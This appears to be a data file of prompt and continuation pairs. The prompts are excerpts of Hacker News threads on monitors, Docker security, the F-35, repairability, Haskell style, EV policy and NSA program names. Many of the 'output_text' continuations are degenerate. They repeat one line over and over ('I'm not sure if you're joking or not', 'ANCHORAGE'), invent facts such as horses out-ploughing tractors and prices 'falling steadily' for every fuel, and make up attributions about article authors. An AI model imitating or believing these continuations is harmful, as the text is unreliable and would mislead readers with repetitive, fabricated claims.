" prevent, or the\nmagnitude of the problem, if there really is one.\n\n~~~\n100k\nW2 employees have all kinds of protections that 1099 contractors don't. Paid\nsick time, FMLA leave, retirement plan contributions...A big difference is\nthat 1099 contractors must pay their own self-employment taxes (15%) to cover\nSocial Security and Medicare whereas W2 employees have half of that paid for\nby their company. (Economists would say that comes out of wages, but it still\nmeans $15/hour W2 is not directly comparable to $15/hour 1099.)\n\n~~~\nProAm\n>still means $15/hour W2 is not directly comparable to $15/hour 1099\n\nof course not that is why contractors get paid more than salary employees. If\ncontractors dont ask for more money per hour then its their own fault.\n\n~~~\ntoomuchtodo\nCan you show me how \"independent contractor\" Uber employees can ask more per\nhour?\n\n~~~\nzzalpha\nWhich is, incidentally, one of the points this case will hinge on. Being able\nto set your own rates is one of the key differentiators between contract and\nemployee labour, and Uber drivers clearly do not have that ability.\n\n \nBump stocks are turned in or destroyed as ban takes effect - oblib\nhttps://apnews.com/ea1b1c1b13194118b83a1f0d4aa08a2a\n======\noblib\n\"Anyone in possession of a bump stock from now on can be charged with a\nfederal offense punishable by up to 10 years in prison.\"\n\nI may be wrong, but I don't think this is widely known right now. I live in an\narea where"} +{"output_text": "://www.flickr.com/photos/dk/sets/72157624256701010/\n\n------\njamesbritt\nI use a 24\" widescreen.\n\nI use a 17\" widescreen.\n\nI use a 15\" widescreen.\n\nI use a 13\" widescreen.\n\nI use a 12\" widescreen.\n\nI use a 10\" widescreen.\n\nI use", "input_text": ")\nhave things like Pidgin and last.fm open.\n\n------\njohngunderman\nI prefer one widescreen next to one widescreen turned vertical. this way I can\nview plenty of code on the vertical monitor, and yet enjoy the benefits that\nthe widescreen monitor brings.\n\n------\nTallGuyShort\nFor virtually any activity I would do while sitting down at a\ncomputer/workstation, I think wide screens have a much more natural fit to a\nperson's eyesight. I think they're just more comfortable to look at.\n\nOn the other hand, I can definitely see a reason for vertically oriented\nscreens in eBook readers and some hand-helds. I can't think of a time when I\nwould rather have a more square screen.\n\n------\nbgnm2000\nI prefer widescreen, with windows tiled horizontally as well on my mac. I use\nterminal with visor (google blacktree) which is sweet, and then a bunch of\ndifferent spaces - coding w/ textmate for ROR dev.\n\n------\nrscott\nWhy isn't this a poll question?\n\nWidescreen 22\" + Macbook screen. Textmate for some things, but Xcode and its\n(many) requisite windows for iPhone stuffs.\n\n------\nsocratees\nI use a Dell S2209W 22\" wide panel monitor. Its way comfortable than using\nsmaller monitors and i don't think i can go back to using smaller ones.\n\n------\nnoblethrasher\nWidescreen, but I spend almost as much time in Photoshop, Illustrator and\nFlash as I do in Visual Studio and Notepad++.\n\n \n\"Maybe\" is one option too many - dk\nhttp"} +{"output_text": "\n[1] I'm not saying that's what will happen, just that it's a possibility.\n\n~~~\nharaball\nI think that's a very good point.\n\n------\njoezydeco\nI'm not sure I'd want to be the guy who wrote the code that makes the\n\"Internet of Things\" work.\n\n~~~\nharaball\nI think that's a very good point.\n\n------\njoezydeco", "input_text": " so maybe that's why. I wonder\nwhat CVs could be cooked up for more technical and/or organisational\npositions. A github printout comes to mind.\n\n~~~\noscardelben\n\n\n------\nFiddlerClamp\nOr check out my creative resume, which was designed to be sent as plain text.\nIt was originally a response to a job site that required me to fit my\nexperience into boring little boxes...\n[http://www.scribd.com/full/39705569?access_key=key-\ncwlk7b9tf...](http://www.scribd.com/full/39705569?access_key=key-\ncwlk7b9tfinftw80ul9)\n\n------\nharaball\nI like this guy's idea, which adds a hacker flavor to the resume concept. He\ncreated a business card with his CV on it, and handed it out on a job fare:\n\n\n\n \n\nThe Internet Of Things Will Need Millions Of Developers By 2020 - damian2000\nhttp://readwrite.com/2014/06/27/internet-of-things-developers-jobs-opportunity\n\n======\nonion2k\nIf IoT devices make their data open, accessible and work to a defined standard\nwith a machine discoverable, zero config interface[1], then, in theory, apps\ncould be built with no knowledge of whatever devices come along that could use\nthe new data as and when it appears. That way we wouldn't actually need more\ndevelopers, just developers willing and able to take advantage of the new\ndata.\n"} +{"output_text": " hand, you're running a container and\nyou're not using it for anything, you're probably not using it for anything\nthat you need to protect yourself from.\n\n~~~\nStreamBright\nI agree with you. I am not saying that you should not use containers. I am\nsaying that you should not use containers for things that you do not need to\nprotect yourself from.\n\n------\njosteink\nI'm not sure if this is a good idea", "input_text": " learning. It seems there\nare now security reasons for preferring the p2p approach.\n\nIf you're interested in our p2p approach, see:\n[https://fosdem.org/2017/schedule/event/democratizing_deep_le...](https://fosdem.org/2017/schedule/event/democratizing_deep_learning/)\nand www.hops.io\n\n------\ndjb_hackernews\nSurprised the docker iptables doesn't block this already. I do see rules\ndisallowing traffic to and from docker0 (172.17.0.1).\n\n~~~\nStreamBright\nI am not surprised at all. Security is mostly an afterthought in the docker\nuniverse. Sensible defaults are not really a thing and instead of giving\naccess to resources when needed it is allowed to do anything by default. Also,\nunprivileged containers when?\n\n~~~\nyebyen\nThis is not really true IMHO unless you're just starting and don't know what\nyou're doing. Like for example, if you're doing a container and you set\n--privileged flag, you have almost certainly granted more access to the\nprocesses inside of the container than was needed.\n\nI get what you're saying about unprivileged containers, even if the processes\nin the container are not running as root, the container itself (and docker\nitself) is basically root. The person running the container gets root. Setting\nup a docker host as multi-tenant is something you may do at your own risk.\n\nIf your users have access through the network to processes running inside of a\ncontainer, that is how you may use containers to protect yourself and your\nusers from each other. If, on the other"} +{"output_text": " viable business model?\n\n~~~\npmiller2\nI don't think it's outdated information. I think it's just that the\ninformation is out of date.\n\n------\ndang\nUrl changed from [https://www.cnn.com/2019/07/05/success/podshare-co-\nliving/i...](https://www.cnn.com/2019/07/05/success/podshare-co-living/index.html", "input_text": " view it as\nconfirmation you are onto something. keep going. be prepared to fight. and do\nit better.\n\n------\npknerd\nYou have more freedom to iterate your product than them :-)\n\n \n$1,200 a month, privacy not included - 0wl3x\nhttps://www.cnn.com/2019/07/05/success/podshare-co-living/index.html\n======\ndeogeo\n> Stephen T. Johnson, the 27-year-old founder of FlipMass, an advertising\n> company for Instagram influencers\n\nAdvertising, extortionate rents, middle-men, 'analytics'... the sheer number\nof layers of parasitism in San Francisco is hard to comprehend.\n\n9 times out of 10, these 'tech' companies are a net drain on society.\n\n------\nnot_a_cop75\nCall me crazy, but is it possible CNN wants to further legitimatize high rents\nin large cities? Every big news service works for some billionaire it seems,\nand none are even tongue in cheek self critical anymore, or so it seems.\n\n------\nfreewilly1040\nInteresting that the founder\u2019s elevator speech included nostalgia for late\nperiod USSR... I cringed a bit at that.\n\n~~~\npmiller2\nWhere did you see that?\n\n~~~\nfreewilly1040\nIt's in the first minute of the video\n\n \n\nAsk HN: Made for Adsense (MFA) Sites - naithemilkman\n\nIt's hard to get the skinny on exactly how viable this business model still is considering the amount of outdated information on google.

Does anyone currently operate an MFA site(s)? Can you do an AMA? Is it still a"} +{"output_text": " to you, and then ask yourself if you would have done it better.\n\n~~~\nonemorepassword\nThat's a good one.\n\n------\njgrahamc\nI'm not sure that this is a good idea. I think that the IEEE and ACM should\njust say \"no\" and not try to get involved.\n\n~~~\njgrahamc\nI'm not sure that this is a good idea. I think that the IEEE and ACM", "input_text": " It's already starting to happen; math is leading the way. Much\nof my website is somewhere in the space between 'blog entry' and 'paper'.\n\n~~~\njgrahamc\nYes. One way around this whole 'who pays' mess would be a Wikipedia like site\nfor papers. Anyone can publish, anyone can review. If you added voting to that\nand some level of authentication of users it could be very interesting.\n\n------\naswanson\nMr. Graham-Cummings,\n\nAmen. Kindly forward a similar letter to the IEEE and ACM.\n\nRegards,\n\naswanson\n\n \n\nWhen founders get overloaded with tasks - jkaljundi\nhttp://kaljundi.com/2013/05/22/when-founders-get-overloaded-with-tasks/\n\n======\nonemorepassword\nTip for all founders with employees from someone who's worked for start-ups\nfor decades: fucking delegate!\n\nAnd I don't just mean the work, that's the easy part. Delegate parts of the\ndecision-making process you don't have the time for to get into properly. Yes,\neven if it involves spending money.\n\nIf I have to report to, talk you through things on multiple occasions, have to\nkeep reminding you of them, and all the while my team is waiting for a\ndecision, that process does not only cost you a lot of time you should be\nspending doing other things, it actually often costs the whole company more\nmoney than we're actually talking about spending!\n\nIf you don't trust the people you've hired, you're doing it wrong.\n\n~~~\nharaball\nA good advice I got when delegating, was to accept the result of the task\ngiven"} +{"output_text": " bug would be a bargain.\n\n~~~\nmatt4077\nI'm not sure if you're joking or not.\n\n~~~\nsevenless\nI'm not.\n\n------\nmatt4077\nI'm not sure if you're joking or not.\n\n------\nmatt4077\nI'm not sure if you're joking or not.\n\n------\nmatt4077\nI'm not sure if you're joking or not.\n\n------", "input_text": " has compromised a service account and search\nfor attempt to persist with calls to `setIam` or other sensitive api calls.\n\nSorry, I\u2019m on mobile but feel free to reach out If you need (email in profile)\n\n------\nrxsel\nI\u2019m just here for the support. There is definitely someone here lurking that\ncould definitely help :)\n\nAlso, I\u2019ve seen a trend of terrible google support. Is this the norm?\n\n \nOnly One of Six Air Force F-35s Could Actually Take Off During Testing - farseer\nhttp://fortune.com/2016/04/28/f-35-fails-testing-air-force/\n======\nPopsiclePete\nI can _feel_ the kind of project this must have been. A giant cluster-fuck of\ndozens of managers and dozens of teams \"collaborating\" (a.k.a. spending 60% of\ntheir productive time in meetings), and more and more people being added as it\nstarted to get bad, thus making it worse. Working long hours, trying to patch\nup some fundamental flaws in the overall design, the fuck-tard MBA'manager'\ntelling them how much their hard work is \"appreciated\" and how it's just \"a\nlittle big longer\" as they steadily burn out...\n\nAnd the uber-fucktard above, who keeps pushing harder, piling more people and\nmore meetings, until the whole thing starts to collapse onto itself.\n\nThey never learn. Never.\n\n------\nsevenless\nMaybe they should open all the source code to the public and offer large\nrewards for finding bugs.\n\nThose planes cost, what, a third of a billion each? Even a million dollars per\nsubstantial"} +{"output_text": " a car that lasts 25 years, then it will cost more to build a car that\nlasts 25 years.\n\n------\njoezydeco\nI'm not sure I agree with the premise that the \"repairability\" of a product\nshould be a factor in its price.\n\nI'm not sure I agree with the premise that the \"repairability\" of a product\nshould be a factor in its price.\n\nI'm not sure I agree with", "input_text": " Samsung Syncmaster 2333SW Plus. It started\nfading to white every time blue was displayed, then it would overflow back to\na normal image and fade to white.\n\nI'm told this is a fault in the t-con (timing controller) board - some people\nhave noted it's just a bad solder connection, so I'm going to have a look\nbefore I replace the board.\n\nI have a donor screen that I got apart (the 2333HD) in about four hours, but\nthe 2333SW Plus... I've been trying for at least 12 hours to get that thing\napart. (I've sanitized this post.) The sides of the casing are free, but the\ntop and bottom edges just won't let go, and I can't afford to break the\ninternal clips.\n\nI honestly can't decide between RageGuy and Samir's rage at the printer not\nprinting properly.\n\n------\nthght\nHeaps of old stuff is broken because of planned obsolescence. Is it not a\nwaste trying to repair that rubbish that was originally designed to break soon\nand hard and expensive to repair? Lowering tax for companies that produce\nsustainable products seems more efficient to me.\n\n------\njwatte\nOne side effect of building for repairability is that objects will be bigger\nand clunkier, which will use more materials and cost more (and burn more fuel)\nto transport.\n\nI'm all for repairability, and even better, building things that will last 25\nyears, not 25 months. But that will come at a different price than perhaps\nmany expect, and in some cases, it actually won't make sense.\n\nMoney is how we measure and gate access to scarce resources. If it costs more\nto build"} +{"output_text": " higher than Mosso.\n\n2\\. Incoming Bandwidth - The difference in pricing is due to the fact that\nAmazon is charging for the entire amount of bandwidth used by the file, while\nMosso is only charging for the amount of bandwidth used by the file.\n\n3\\. Outgoing Bandwidth - The difference in pricing is due to the fact that\nAmazon is charging for the entire amount of bandwidth used by the file, while\nMosso is only charging for", "input_text": "Likewise, the test is 1TB of incoming bandwidth and 100GB of outgoing\nbandwidth. Now, Amazon easily trumps Mosso on outgoing bandwidth charges - BUT\nMosso is offering free incoming bandwidth __until the end of the month __.\nSeems a little unfair to be creating a comparison on a situation that will\nexist for another 19 days.\n\nI should also note that Mosso seems to measure in Gigabytes instead of\nGibibytes. Why? Well, they're storing 5TB which would be 5120GB, but they've\ncalculated their pricing based on 5000GB as being 5TB (5000 * 0.15 + 100 *\n0.22 = 722). So, you're actually getting less storage. It's not that important\nin the small range, but when you're talking about terrabytes of storage it\nsure as hell becomes important. It means that each terrabyte used on their\nsystem is over 90GB short. Now, Amazon might be using the same logic there so\nI should pull back.\n\nReally, it's cheap to do a comparison using pricing that's going to go up in\nunder a month from when you wrote the comparison.\n\n~~~\necarlin\nHey mdasen -\n\nThanks for digging into the details. Please allow me to clarify a couple of\nthings...\n\n1\\. Average File Size - You have nailed the difference in request fee pricing\nbut failed to point out that 2 of the 5 scenarios show an avg file size of\n75KB. In fact, scenarios 1 and 2 are exactly the same with the exception of\nfile size and were included to specifically highlight the difference in\npricing both above and below the 100KB threshold. Also, in some instances, a\nsmaller avg file size results in Amazon costs being"} +{"output_text": " clay that had been there before.\n\nThe horses were also much more efficient than tractors. They could plough a\nfield in a day, whereas a tractor would take a week. They could also do\nharvesting, which was a huge time-saver.\n\nThe horses were also much more expensive than tractors. A horse costs about\n$10,000, whereas a tractor costs about $100,000.\n\nThe horses also had a much higher maintenance", "input_text": " (adjusted to reflect actual production reflected in the\nrecords acceptable to the Corporation for continuous years), as specified in\nregulations issued by the Corporation based on production history\nrequirements; (ii) a yield determined by the Corporation, in the case of\u2014 (I)\na producer that has not had a share of the production of the insured crop for\nmore than two crop years, as determined by the Secretary; (II) a producer that\nproduces an agricultural commodity on land that has not been farmed by the\nproducer; or _(III) a producer that rotates a crop produced on a farm to a\ncrop that has not been produced on the farm;_\n\nJust search the doc for \"rotate\". It is only mentioned once. I think the FCIC\nonly applies to wheat and some other grains.\n\n[0][https://www.agriculture.senate.gov/imo/media/doc/75-30%20-%2...](https://www.agriculture.senate.gov/imo/media/doc/75-30%20-%20Agricultural%20Adjustment%20Act%20Of%201938%20&%20Federal%20Crop%20Insurance%20Act1.pdf)\n\n------\nexDM69\nI recently took part in a course on doing farm work with horses. It was a\nlarge garden where all the farm work had been done exclusively with horses for\nabout 10 years, after decades of using tractors. The tractors had turned the\nsoil into hard, clumpy clay which yielded bad crops and required more and more\nfertilizers every year. In about a decade of using horses, manure and\ntraditional methods, the topsoil had turned nice and soft and nutrient-rich.\nNot at all like the hard"} +{"output_text": " there.\n\n~~~\njrockway\nI don't know if it's worth noting, but I'm not sure that's true. I know\nseveral people who have left Powerset, and they are all still there.\n\n~~~\npjhyett\nI'm not sure if it's worth noting, but I'm not sure that's true. I know\nseveral people who have left Powerset, and they are all still there.\n\n~~~\njrockway", "input_text": "\n~~~\ntlipcon\nI turned down a job at Google (not 300k but hey, it's Google!) to join a\nstartup. The startup started to sink about 2 years later.\n\nI learned a ton and didn't regret it for an instant. Moved on to a new startup\n2 years ago when it became clear the first was a dead end. Google recruiters\ncontinued to ping me religiously every 6 months regardless.\n\nMoral of the story: Google, MSFT, Facebook, etc will all still be there in 2\nyears. Especially if you're early in your career and don't need the cash\ntoday, go wherever you will learn the most.\n\n~~~\nakronim\nit was 300k over 3 years... so your offer probably wasn't that far off!\n\n------\nBrandonM\n_> When I\u2019m old and dying, I plan to look back on my life and say \"wow, that\nwas an adventure,\" not \"wow, I sure felt safe.\"_\n\nA great conclusion to a great article. Definitely a motto to live by.\n\n~~~\ndavidw\nA cynical mind might say that a really adventurous life might also expose one\nto more risk of being _young_ and dying, rather than old. Or other less than\npleasant outcomes.\n\n~~~\nacangiano\nThat's why our brains afford us both desires: the need for adventure, and the\nneed for security. The two keep each other in check. Adventurous people, who\naren't reckless, simply choose to be more adventurous than fearful when there\naren't too many real safety risks, but mostly perceived ones.\n\n------\npjhyett\nIt's worth noting that none of the Ruby guys Tom worked with at Powerset are\nstill"} +{"output_text": "elligently answers them.\n\n------\njoshu\nI'm not sure I agree with the conclusion.\n\nI think the problem is that the word \"offended\" is not a word that people\nunderstand.\n\nI think the word \"offended\" is a word that people understand, but they don't\nknow how to use it.\n\n~~~\ndang\nI think you're right. I think the word \"offended\" is a word that people", "input_text": "/pronunciation of the words. tl;dl: Someone fell in love and is\n\"ticklish\".)\n\n~~~\niammew\nrenaissance\n\n------\ndjschnei\n'It's now very common to hear people say, \"I'm rather offended by that\", as if\nthat gives them certain rights. It's no more than a whine. It has no meaning,\nit has no purpose, it has no reason to be respected as a phrase. \"I'm offended\nby that.\" Well, so fucking what?' \u2014Stephen Fry\n\n------\nerjjones\nWow. Another self imposing post making its way to #hn (sigh)...\n\nOn to other news...\n\nHow about #Microsoft releasing and open sourcing.NET Core\n[http://docs.asp.net/en/latest/conceptual-\noverview/dotnetcore...](http://docs.asp.net/en/latest/conceptual-\noverview/dotnetcore.html) and\n[https://blogs.msdn.microsoft.com/dotnet/2014/11/12/net-\ncore-...](https://blogs.msdn.microsoft.com/dotnet/2014/11/12/net-core-is-open-\nsource/)\n\n(?) Where has our community gone :/\n\n \nThe brilliance of All Gas No Brakes - Balgair\nhttps://bigtechnology.substack.com/p/the-brilliance-of-all-gas-no-brakes\n======\nerulabs\nAll Gas No Brakes is fantastic - strongly recommend to anyone remotely\ninterested in journalism. This article sort of suggests he\u2019s not a journalist\n- which I have to take issue with... He asks as few questions as possible and\nint"} +{"output_text": " the merits of the article, I think it's important to note that\nthe author is a Google employee.\n\n~~~\nsametmax\nI don't think it's important.\n\nThe article is about the state of the OS, not the company.\n\n~~~\nChardok\nI agree, but I think it's important to note that the author is a Google\nemployee.\n\n~~~\nsametmax\nI don't think it's important.\n\n", "input_text": " it would be mind-boggling if they didn't actually fix the update problem\nthis time, and if it wasn't a top 3 priority for the new OS.\n\n~~~\nfrozenport\nIt's written in C.\n\nThere is little beyond syntax that a different language can offer because a\nmodern OS cannot afford features like garbage collection. Indeed, this was one\nof the research aims of MS's Singularity project.\n\n~~~\nsametmax\nThey could have written it in Rust. No garbage collection, more security\nguaranties. Easier to contribute to the code properly.\n\n~~~\nfrozenport\nRust performed 3x slower and hacking around the language made it somewhat of a\nmess [1]. Much like Singularity, this is hardly a success story. Although\nSingularity was interesting from a research perspective nobody doubted that an\nOS could be written in Rust.\n\n[https://scialex.github.io/reenix.pdf](https://scialex.github.io/reenix.pdf)\n\n~~~\nsteveklabnik\nThat paper is very old, before Rust 1.0. There was also a lot of discussions\nabout ways that they could have used Rust better at the time, IIRC.\n\nToday, there is no reason Rust should ever be 3x slower, especially in an\nOSdev context, where you currently have to use nightly.\n\n \nThe Most Common Error in Media Coverage of the Google Memo - mimbs\nhttps://www.theatlantic.com/politics/archive/2017/08/the-most-common-error-in-coverage-of-the-google-memo/536181/?single_page=true\n======\nChardok\nRegardless on"} +{"output_text": "? I've never seen a codebase that didn't have type signatures.\n\n~~~\nhristov\nI have seen plenty of codebases that have no type signatures.\n\n~~~\njrockway\nI have seen plenty of codebases that have type signatures, but they are\nusually not very useful.\n\n------\njrockway\nI don't think this is a good idea. It's a lot of work to write a function that\nis point-", "input_text": " it much less accessible.\n\n~~~\nmbrubeck\nOnce you're used to the idiom, I find point-free style at least as easy to\nread as pointful.\n\n _\"Thus, now when you look at code you cannot say at first glance how many\narguments a function takes.\"_\n\nIn Haskell I generally look at the type signature - explicit or inferred - to\nsee what a functions' arguments are.\n\nI find this style is actually more beneficial for larger-scale examples than\nsmaller ones. For example, if you have a memoizing combinator, most people\nwould not find it odd at all to write:\n\n \n \n fast_factorial = memoize factorial\n \n\ninstead of:\n\n \n \n fast_factorial xs = (memoize factorial) xs\n \n\nThe key to point-free style is to think of all functions as potentially acting\nlike combinators, and being modifiers for other functions.\n\n~~~\nhristov\nAnd where do you find the inferred type signature?\n\n~~~\nmbrubeck\nI load the module into ghci and use the :t command. But I mostly do this\nduring development. This is the big reason that production-quality code should\ngenerally have explicit type signatures for top-level functions.\n\n~~~\nhristov\nWell this kind of proves my point. If you have to compile code simply to read\nit, then the language is not very easy to read. What if you are reading the\ncode in order to debug it and the code cant compile?\n\nAnd I know code should have type signatures but it often doesn't.\n\n~~~\njrockway\n_And I know code should have type signatures but it often doesn't._\n\nOften"} +{"output_text": " result.\n\nThe price of solar panels is falling steadily.\n\nThe price of wind turbines is falling steadily.\n\nThe price of nuclear power is falling steadily.\n\nThe price of natural gas is falling steadily.\n\nThe price of coal is falling steadily.\n\nThe price of oil is falling steadily.\n\nThe price of gas is falling steadily.\n\nThe price of coal is falling steadily.\n\nThe price of oil is falling steadily.\n\nThe price", "input_text": "\n~~~\ndmoy\nOh man that will be glorious, I can't wait for future trips to Beijing without\ngetting respiratory sickness. So far I'm like 7 for 7 on getting sick in\nBeijing.\n\n~~~\nams6110\nSo why do you keep going back? Family?\n\n~~~\ndmoy\nFamily, have to fly to Beijing then take the train, but typically spend a few\ndays in Beijing visiting friends who live there.\n\n------\nyCloser\nAll the \"plans to do stuff by 2050\" are completely useless. The one who did\nthe plan will not be in charge till that date, someone else will take over and\nchange/destroy the plan (or worse, add +20 years), and in politics this is\nsimply the way to go.\n\nThis is procastination at his finest and means \"doing nothing now\".\n\n~~~\nsmcl\nI see the point, but this doesn't necessarily mean its an empty gesture as\nthere is a precedent. Back in 2005 the Scottish government aimed for 18% of\nelectricity consumed to be generated by renewable sources by 2020 (later\nadjusted to 50%). This was met and exceeded in 2015 (59%). Granted this is a\nsmaller timeline but there is real backing for renewables here, especially\nsince the collapse of oil prices hit the local oil industry\n\n~~~\nandygates\nIn the case of electric vehicles, the long timeline means they can ease\ncharging facilities in without having a massive spend - they just come in when\ninfrastructure gets renewed. Visible charging facilities are one of the things\nthat breaks the \"chicken and egg\" adoption problem.\n\n------\nZeroGravitas\nA pragmatic money saving decision.\n\nThe price of batteries is falling steadily. EV prices are falling as a"} +{"output_text": " collaborative whiteboard are you using?\n\n------\njoshu\nI'm not sure I understand the point of this study.\n\n------\njoshu\nI'm not sure I understand the point of this study.\n\n------\njoshu\nI'm not sure I understand the point of this study.\n\n------\njoshu\nI'm not sure I understand the point of this study.\n\n------\njoshu\nI'm not sure I", "input_text": "? Instead the student will try to achieve the\naccepted standard for the industry they enter.\n\nHow many years after high school will you or any employer care about your\ntranscript? How about college? The experience you have in an industry quickly\noutweighs the number of years in college, at least in my industry (this may\nnot be true when you need to go to specialized schooling, such as when you\nenter a medical profession, but I speak of general schooling).\n\n------\nangelbob\nIt looks like the abstract basically says that the older child does better\nwith a larger spacing (more dedicated time with parents, possibly), while the\nyounger is basically unaffected. That makes sense to me.\n\n------\ncarsongross\nThank goodness association _is_ causation, otherwise where would be?\n\n------\nlarrik\nAKA \"You having another baby is bad for your toddler\"\n\n~~~\ncjfont\nIn many cases your toddler will let you know, too, in the form of jealousy.\n\n------\nRoboprog\nDouble and triple take on the title:\n\nThrow my kids out an air lock? (Space them!)\n\nSend my kids to the ISS? (Space them at least two years)\n\nOK, I got this one a bit off :-(\n\n------\ngeorgemcbay\nUnless you want your own TLC reality show, in which case you should just keep\npopping them out as fast as you can.\n\n \nAsk HN: What collaborative whiteboard are you using? - simonmales\nI feel my team was way more productive when we all were whiteboarding together when designing new solutions.

Recently I have been day dreaming about VR whiteboards and tablet assisted whiteboards as I feel the tactile sense of a pen would help.

What"} +{"output_text": "/ec2-in-memory-\ncomputin...](http://blog.rightscale.com/2012/11/02/ec2-in-memory-computing-\nthe-high-memory-cluster-eight-extra-large/)\n\n~~~\nmichaelt\nI'm not sure I follow.\n\nIf you're using EBS, you're using spinning disks, right?\n\nIf you're using EBS, you're using spinning disks,", "input_text": "aws.typepad.com/aws/2013/01/ec2-for-in-memory-computing-the-high-memory-cluster-eight-extra-large.html\n\n======\nmichaelt\nAlmost all the big EC2 outages have been due to EBS, and you have to pay extra\nfor it as well. Netflix steers clear of it [1].\n\nDoes anyone know why Cluster Compute and Cluster GPU Instances [2] (including\nthis new one) make using EBS mandatory?\n\n[1] [http://techblog.netflix.com/2011/04/lessons-netflix-\nlearned-...](http://techblog.netflix.com/2011/04/lessons-netflix-learned-from-\naws-outage.html) [2]\n[http://aws.amazon.com/ec2/faqs/#Does_use_of_Cluster_Compute_...](http://aws.amazon.com/ec2/faqs/#Does_use_of_Cluster_Compute_Instances_differ_from_other_Amazon_EC2_instance_types)\n\n~~~\ncrb\nTwo reasons come to mind:\n\n* the failure rate of an EBS volume (assuming a bug-free EBS software stack!) _should_ be less than any one spinning disk\n\n* these machines don't have disk space set aside for copying the root volumes to them from S3 to boot. (There's a 10GB limit, and to allow for this to be somewhere, you'd have to have another SSD, or partition the existing ones.)\n\nThere's a good blog post about it on Rightscale:\n[http://blog.rightscale.com/2012/11/02"} +{"output_text": "ASS, ANCHOR, ANCHORAGE, ANCHORAGE, ANCHORAGE, ANCHORAGE, ANCHORAGE, ANCHORAGE, ANCHORAGE, ANCHORAGE, ANCHORAGE, ANCHORAGE, ANCHORAGE, ANCHORAGE, ANCHORAGE, ANCHORAGE, ANCHORAGE, ANCHORAGE, ANCHORAGE, ANCHORAGE, ANCHORAGE", "input_text": ", I like the guy who lists his databases knowledge to include Excel &\nXKeyScore. Either XKeyScore is so slick that it is indistinguishable from\nExcel or this particular person doesn't know what a database is. Either way,\nthat cannot be good.\n\n~~~\nrhizome\nAt the end of the day, it's evidence of the NSA having low-skills computer\nusers rifling through your calls and internet. Make of that what you will.\n\n------\njonknee\nThe first thing I did yesterday after seeing Snowden's leaked Powerpoint was\nsearch for mentions of XKeyscore in the past and I came across these same job\npostings (and copied them down since I doubted they would last).\n\nI started compiling a database of the different programs, what's known about\nthem, what you can do to stay off their radar, etc. Sound interesting to\nanyone?\n\nPrograms/tools I came across include: AGILITY, ANCHORY/MAUI, AUTOSOURCE,\nCONTRAOCTAVE, WISE, INFOSHARE, TREASUREMAP, TUNINGFORK, SCORPIOFORE, TAPERLAY,\nMAINWAY, PINWALE, Tripwire Analytic Capability, Combating Terrorism Knowledge\nBase (CTKB), etc. Quite a few and some of those names are Hollywood quality.\n\nTools that HN readers would know about that were mentioned: ArcGIS, Wireshark,\nIDA Pro, OLLY Dbg, Snort, Analyst Notebook.\n\n~~~\nfsck--off\nThis article [1] also mentions finding lists of program names from LinkedIn\nprofiles, especially this one [2].\n\n[2] mentions:\n\n \n \n ANCHORY, AM"} +{"output_text": " pay me $100,000 if I work for\nthem for a year, and I work for them for a year and they pay me $100,000,\nthat's not fraud.\n\n~~~\nchrismcb\nI agree, but the article says that the California Guard was not paying them\nwhat they were promised.\n\n------\njessaustin\nI'm not sure why this is news. The California Guard is a state agency, and\nthe federal government is", "input_text": "/post-\nnation/wp/2016/08/18/justice-department-says-it-will-end-use-of-private-\nprisons/)\n\nThese are pretty quick u-turns by an establishment that's confident about\nbusiness as usual following elections. Gravy-train!\n\n~~~\nmikecb\nThis was for a DHS immigration facility, not for a prison. (Not that it makes\nit any better, but it doesn't break with Justice's decision.)\n\n------\nTillE\nThe article doesn't quote anyone from California's Congressional delegation,\nor from the White House. Is there really no reaction here? We're talking about\na few million dollars from the federal government to relieve an awful\nsituation.\n\n~~~\nrhizome\nPersonally, as a Californian I'm calling everybody on my chain-of-legislation\non Monday.\n\n~~~\ntoomuchtodo\nTHANK YOU. Only through action does change occur.\n\n------\nerentz\nIt's not clear from the article how this situation came to be.\n\nWere these soldiers told how much they would receive before enlisting? If so\nsurely that is a contract and they don't have to repay. It only makes sense if\nthey ALL received more than they were told and all didn't report it. But\n~10,000 people doing this doesn't make sense.\n\n~~~\nchrismcb\nFrom the article \"Investigations have determined that lack of oversight\nallowed for widespread fraud and mismanagement by California Guard officials\nunder pressure to meet enlistment targets.\"\n\n~~~\nerentz\nBut fraud on the part of the California Guard is an internal matter. If I form\na contract with a company that says they will"} +{"output_text": "\n\n------\njoshu\nI'm not sure I understand the point of this.\n\nI can already do all of this with grunt.\n\n~~~\njoshu\nI guess I'm not understanding the point of this.\n\nI can already do all of this with grunt.\n\n~~~\njoshu\nI guess I'm not understanding the point of this.\n\nI can already do all of this with grunt.\n\n~~~\n", "input_text": "ing around with Yeoman this weekend. The real strength I think is in\nthe library of generators and the tools that the generator has in addition to\nthe grunt derived ones.\n\nThe default generator is a one page webapp and that makes everybody think that\nthat is what yeoman is, but there are many more:\n\n[https://github.com/search?q=yeoman+generator&ref=cmdform](https://github.com/search?q=yeoman+generator&ref=cmdform)\n\n65 repos there\n\n------\nniyazpk\nI am already using gruntjs for js/sass/images compression & combining,\ntemplate compilation, and a whole lot of other build related stuff. Can\nsomebody please convince me why I would want to switch to yeomen?\n\n~~~\nNarretz\nYou are not switching to Yeoman if you use grunt, since yeoman uses grunt for\nall the tasks you mentioned. Yeoman is for quickly setting up and adding\ncommon parts to your app. For example, in angular you can create controllers,\ndirectives etc. skeletons, based on predefined or your own scaffolds. Using it\nwill only be good if the generator for your app is good.\n\n------\noutside1234\nThanks for all the hard work - glad to see that Windows support is almost\nready. I'll give that a try.\n\n------\nrschmitty\nIs there an example with backbone requirejs and karma testing for yeoman out\nin the wild?\n\n \nOur 36 Hours on Show HN - justinlaing\nhttps://medium.com/@justinlaing/our-36-hours-on-show-hn-34d47b6b56ee#.k9a8i7pt4"} +{"output_text": " it is.\n\n~~~\njrockway\n_What am I talking about? He shows the iPhone with the full NYT homepage and\nhas the caption \"Um, are you frisking kidding me?\". In other words why not a\nmobile site._\n\nBecause the iPhone is a mobile device. It's not a desktop computer. It's not\neven a laptop. It's a phone. It's not a computer. It's not a tablet. It's a", "input_text": " one final point. Mobile Sites. Its an example of what\nhappens when you don't know that the Times is aware of his point and we\ndiscussed it and there was a damn good reason we made the decision that we\nmade.\n\nWhat am I talking about? He shows the iPhone with the full NYT homepage and\nhas the caption \"Um, are you frisking kidding me?\". In other words why not a\nmobile site.\n\nWell, very simple. The iPhone is capable of rendering and interacting with the\nfull page. It was the first browser to do so - it don't require a lite\nversion. You could tap, zoom, pinch, drag and get the full depth of the page.\nOther browsers - like those for Nokia, RIM etc couldn't handle that.\n\nThis was talked over to death. There were compelling arguments about going\ndown this road - or not. In the end, the decision was made to NOT redirect\nthose advanced browsers to the mobile site. You can still go to m.nyt.com if\nyou like, we just wont force you 